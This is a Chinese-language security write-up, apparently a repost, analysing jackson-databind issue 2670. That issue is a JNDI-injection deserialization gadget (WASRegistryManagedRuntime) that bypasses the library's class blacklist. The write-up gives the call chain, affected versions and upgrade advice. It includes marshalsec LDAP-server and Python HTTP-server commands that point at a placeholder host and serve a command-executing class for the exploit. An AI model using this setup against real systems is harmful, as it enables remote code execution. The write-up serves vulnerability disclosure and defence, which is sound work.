Jackson-databind-2670远程代码执行漏洞简单分析
2020-04-08 11:00:28 Author: xz.aliyun.com(查看原文) 阅读量:286 收藏

近日,跟踪到jackson-databind在github上更新了一个新的反序列化利用类org.apache.openjpa.ee.WASRegistryManagedRuntime,issue编号2670,该类绕过了之前jackson-databind维护的黑名单类。如果项目中包含openjpa-all库,并且JDK版本较低的话,请及时升级jackson-databind到安全版本。

jackson-databind < 2.9.10.4

该漏洞不出意外还是JNDI注入,因此分析的时候,可以直接先搜索受影响类的lookup方法,看看漏洞入口在哪里,本文复现的时候用的是openjpa-all-2.4.3版本。

首先定位到org.apache.openjpa.ee.WASRegistryManagedRuntime类,发现该类定义的很简单,并且没有搜索到lookup方法的调用。

但是可以发现该类继承了RegistryManagedRuntime,跟进到RegistryManagedRuntime类,首先定位到了getTransactionManager方法调用了lookup,参数为私有变量_registryName且有默认值。

继续看看_registryName是否可控,在setRegistryName方法对_registryName进行赋值。

因此整个的调用链为WASRegistryManagedRuntime->RegistryManagedRuntime->setRegistryName->getTransactionManager->lookup

一个简单的复现代码如下,可以照着之前漏洞的代码改一改:

用marshalsec监听ldap服务,并转发到python开启的http端口,并在http目录下放置事先编译好执行命令的class文件,即可完成漏洞的复现。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.com:8787/#hello 1399
python -m SimpleHTTPServer 8787


其实,在这里还需要说下为什么需要调用mapper.enableDefaultTyping(),当不带参数调用enableDefaultTyping时,会设置DefaultTyping为OBJECT_AND_NON_CONCRETE。

DefaultTyping有四个选项:
JAVA_LANG_OBJECT: 当对象属性类型为Object时生效;
OBJECT_AND_NON_CONCRETE: 当对象属性类型为Object或者非具体类型(抽象类和接口)时生效;
NON_CONCRETE_AND+_ARRAYS: 同上, 另外所有的数组元素的类型都是非具体类型或者对象类型;
NON_FINAL: 对所有非final类型或者非final类型元素的数组。

因此,当开启DefaultTyping后,会开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。
官方在github的更新措施点这里,仍然是添加org.apache.openjpa.ee.WASRegistryManagedRuntime为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名单的gdaget,并且仔细看看发现父类org.apache.openjpa.ee.RegistryManagedRuntime早已经上了黑名单,该漏洞只是”旧瓶装新酒”,找了继承该父类的子类绕过黑名单。

  1. 及时将jackson-databind升级到安全版本(>=2.9.10.4,> 2.10.0);
  2. 升级到较高版本的JDK。

参考

https://github.com/FasterXML/jackson-databind/issues/2670


文章来源: http://xz.aliyun.com/t/7506
如有侵权请联系:admin#unsafe.sh